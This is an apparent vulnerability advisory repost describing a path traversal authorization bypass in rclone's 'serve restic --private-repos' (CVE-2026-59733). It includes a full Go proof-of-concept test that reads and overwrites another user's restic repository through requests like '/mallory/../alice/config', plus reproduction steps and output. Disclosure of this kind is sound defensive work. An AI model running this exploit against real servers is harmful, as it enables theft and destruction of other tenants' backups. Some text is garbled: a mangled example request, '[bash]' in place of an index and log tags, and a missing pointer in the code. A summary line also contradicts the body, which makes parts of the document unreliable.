rclone serve restic –private-repos Authorization Bypass via Path Traversal, CVE-2026-59733 (High) -DC-Aug2026-1401

Listen to this Post

The `rclone serve restic –private-repos` feature is designed to host multiple users’ restic backup repositories on a single rclone instance, using HTTP Basic Authentication to confine each user to a path prefix like /<username>/. The security of this multi-tenant isolation is the entire purpose of the `–private-repos` flag.
This isolation is enforced by two independent Chi middlewares that derive the username and the backend object path from two different sources, and critically, the path source is never canonicalized. The `checkPrivate` middleware authorizes the request by comparing the routed `{userID}` path segment against the authenticated user. Meanwhile, the `WithRemote` middleware builds the backend object key from the raw, un-cleaned URL path.
A request such as `GET //..//config` keeps the first path segment equal to the attacker’s own username (so `checkPrivate` authorizes the request) yet hands the backend the literal remote me/../victim/config. On any backend that resolves object paths with POSIX path.Join/path.Clean semantics — which includes the bundled `memory` backend, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim’s object.
Because the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user’s private repository hosted on the same server. For restic, this means reading another tenant’s config/keys metadata and pack files, corrupting their repository, or deleting their backups outright (subject to --append-only, which still permits cross-tenant reads).
The attacker is a low-privileged but legitimately authenticated user of the server, holding valid HTTP Basic credentials for their own private repo. The vulnerability exists because `WithRemote` builds the backend object key from the raw URL path with no `path.Clean` and no `..` rejection. This desync between the authorization middleware and the backend path construction is the root cause of the vulnerability.

DailyCVE Form:

Platform: rclone
Version: < 1.74.4
Vulnerability: Path Traversal
Severity: High (CVSS 8.8)
date: 2026-07-14

Prediction: 2026-07-15

What Undercode Say:

The vulnerability stems from the `WithRemote` middleware not sanitizing URL paths, allowing `..` sequences to be passed to the backend. The `path.Clean` check is insufficient because it preserves leading `../` in relative paths. The fix in v1.74.4 ensures proper URL path sanitization and normalization.

Analytics & Proof of Concept

The following Go test demonstrates the vulnerability. It should be placed in `cmd/serve/restic/zzz_poc_test.go` within the rclone source tree.

package restic
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"net"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/rclone/rclone/fs"
"github.com/rclone/rclone/fs/config/configfile"
"github.com/rclone/rclone/fs/object"
"github.com/rclone/rclone/lib/random"
"github.com/stretchr/testify/require"
_ "github.com/rclone/rclone/backend/memory"
)
func pocBasicAuth(user, pass string) string {
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}
func rawReq(t testing.T, addr, method, target, user, pass string) string {
conn, err := net.Dial("tcp", addr)
require.NoError(t, err)
defer func() { _ = conn.Close() }()
cred := pocBasicAuth(user, pass)
req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred)
_, err = conn.Write([]byte(req))
require.NoError(t, err)
r := bufio.NewReader(conn)
var sb strings.Builder
buf := make([]byte, 8192)
for {
n, err := r.Read(buf)
if n > 0 {
sb.Write(buf[:n])
}
if err != nil {
break
}
}
return sb.String()
}
func pocBody(resp string) string {
if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 {
return resp[idx+4:]
}
return ""
}
func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[bash] }
func TestPrivateRepoCrossTenantPoC(t testing.T) {
configfile.Install()
ctx := context.Background()
f, err := fs.NewFs(ctx, ":memory:repos")
require.NoError(t, err)
put := func(remote, content string) {
info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)
_, perr := f.Put(ctx, strings.NewReader(content), info)
require.NoError(t, perr)
}
secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8)
put("alice/config", secret)
put("mallory/config", "mallory-own-config")
opt := newOpt()
opt.PrivateRepos = true
opt.Auth.BasicUser = "mallory"
opt.Auth.BasicPass = "password"
opt.HTTP.ListenAddr = nil
s, err := newServer(ctx, f, &opt)
require.NoError(t, err)
ts := httptest.NewServer(s.server.Router())
defer ts.Close()
addr := strings.TrimPrefix(ts.URL, "http://")
// 1. Sanity: mallory reads her own config -> 200.
r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password")
t.Logf("[bash] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1))
// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.
r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password")
t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2))
// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so
// checkPrivate passes, but the object remote collapses to alice/config.
r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password")
leaked := strings.Contains(pocBody(r3), secret)
t.Logf("[bash] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))
require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object")
require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")
// 4. Write bypass too: mallory overwrites alice's object (append-only off).
r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password")
t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4))
}

To reproduce:

git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone
cd rclone
write the test file to cmd/serve/restic/zzz_poc_test.go
go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v

Observed Output:

=== RUN TestPrivateRepoCrossTenantPoC
zzz_poc_test.go: [bash] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config"
zzz_poc_test.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n"
zzz_poc_test.go: [bash] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0"
zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK
PASS: TestPrivateRepoCrossTenantPoC (0.00s)
PASS
ok github.com/rclone/rclone/cmd/serve/restic    0.022s

Exploit:

An attacker with valid credentials for their own account can exploit this by sending a raw HTTP request with a `..` traversal in the URL path, such as GET /attacker/../victim/config. The `checkPrivate` middleware authorizes based on the `attacker` segment, while the `WithRemote` middleware passes the un-canonicalized `attacker/../victim/config` to the backend. On backends like memory, sftp, or ftp, this resolves to the victim’s path, allowing the attacker to read, overwrite, or delete the victim’s repository objects. The exploit requires the server to be running with `–private-repos` and HTTP Basic authentication. The `–append-only` flag blocks overwrite and delete impacts but does not prevent reads.

Protection:

  • Upgrade to rclone version 1.74.4 or later, which fixes this issue.
  • If upgrading is not immediately possible, ensure that the `–append-only` flag is set to prevent overwrite and delete attacks (though reads will still be possible).
  • Restrict access to the `rclone serve restic` endpoint to trusted networks only.
  • Monitor logs for suspicious path traversal attempts (e.g., requests containing ../).

Impact:

  • Confidentiality (High): An attacker can read any other user’s repository configuration, key files, and pack/index objects, leading to a full breach of repository metadata and stored blobs.
  • Integrity (High): An attacker can overwrite objects in another user’s repository, corrupting or poisoning their backups.
  • Availability (High): An attacker can delete objects from another user’s repository, destroying their backups entirely.
  • CVSS Score: 8.8 (High). The attack vector is network-based, requires low privileges, and no user interaction. The scope is unchanged, and the impact on confidentiality, integrity, and availability is high.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top